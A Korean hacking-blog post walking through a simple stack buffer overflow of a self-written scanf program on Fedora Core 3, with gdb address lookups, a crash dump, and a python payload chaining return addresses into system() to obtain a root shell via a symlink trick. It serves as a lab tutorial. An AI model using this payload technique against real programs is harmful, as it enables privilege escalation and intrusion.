Scanf 환경에서의 아주아주 simple한 오버플로우 테스트.
환경
FEDORA 3
[root@Fedora_1stFloor test]# cat scanf.c #include<stdio.h> int main(){ char buff[100]; scanf("%s",buff); printf("%s",buff); return 0; } |
공격은 가호 안살지만 간단한 테스트를 위해 심볼릭 링크를 이용하겠다.
[root@Fedora_1stFloor test]# cat system.c
#include<stdio.h>
int main(){
system("/bin/sh");
return 0;
}
[root@Fedora_1stFloor test]#
필요한 주소값들 조사.
0x080483e6 <main+74>: ret (gdb) p system $1 = {<text variable, no debug info>} 0x7507c0 <system> (gdb) p execve $2 = {<text variable, no debug info>} 0x7a5490 <execve> |
오버플로우 발생 확인 RET주소 덮여쓰여지는 것 확인
[root@Fedora_1stFloor test]# ulimit -c 1000 [root@Fedora_1stFloor test]# (python -c 'print "A"*128')|./scanf [root@Fedora_1stFloor test]# gdb -c core.13235 GNU gdb Red Hat Linux (6.1post-1.20040607.41rh) Copyright 2004 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-redhat-linux-gnu". Core was generated by `./scanf'. Program terminated with signal 11, Segmentation fault. #0 0x41414141 in ?? () (gdb) |
공격 PAYLOAD
[buffer 120byte ] [sfp = 4byte] [ret = 4byte] [argc ][argv]
AAAAA.....AAA AAAA &ret -> &ret -> &ret -> &ret &system
(정적인 주소까지 eip를 올린다)
[root@Fedora_1stFloor test]# (python -c 'print "A"*124+"\xe6\x83\x04\x08"*5+"\xc0\x07\x75"' )| strace -i ./scanf
[007037a2] clone(sh: AAAA: command not found
child_stack=0, flags=CLONE_PARENT_SETTID|SIGCHLD, parent_tidptr=0xfee68ee0) = 13255
[007037a2] waitpid(13255, [{WIFEXITED(s) && WEXITSTATUS(s) == 127}], 0) = 13255
[007037a2] rt_sigaction(SIGINT, {SIG_DFL}, NULL, 8) = 0
[007037a2] rt_sigaction(SIGQUIT, {SIG_DFL}, NULL, 8) = 0
[root@Fedora_1stFloor test]#
[root@Fedora_1stFloor test]# ln -s system AAAA
[root@Fedora_1stFloor test]# (python -c 'print "A"*124+"\xe6\x83\x04\x08"*5+"\xc0\x07\x75"' ;cat)| ./scanf
id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk)
다들 scanf 쓰실때 버퍼 오버 플로우 조심하쎄요~
'System_Hacking' 카테고리의 다른 글
[코드 오딧팅] From 해킹캠프 (0) | 2012.09.02 |
---|---|
GDB 명령어 모음집 (0) | 2012.08.26 |
Hackerschool 몽이형이 쓰신 리모트 버퍼오버플로우 총 정리(remote buffer overflow theory by mongil) (0) | 2012.06.21 |
gcc 컴파일 옵션, 스택실행,까나리 없애기,바운더리없애기, 랜덤스택 풀기 (0) | 2012.06.16 |
GDB 사용법 (Usage GDB) (0) | 2012.05.06 |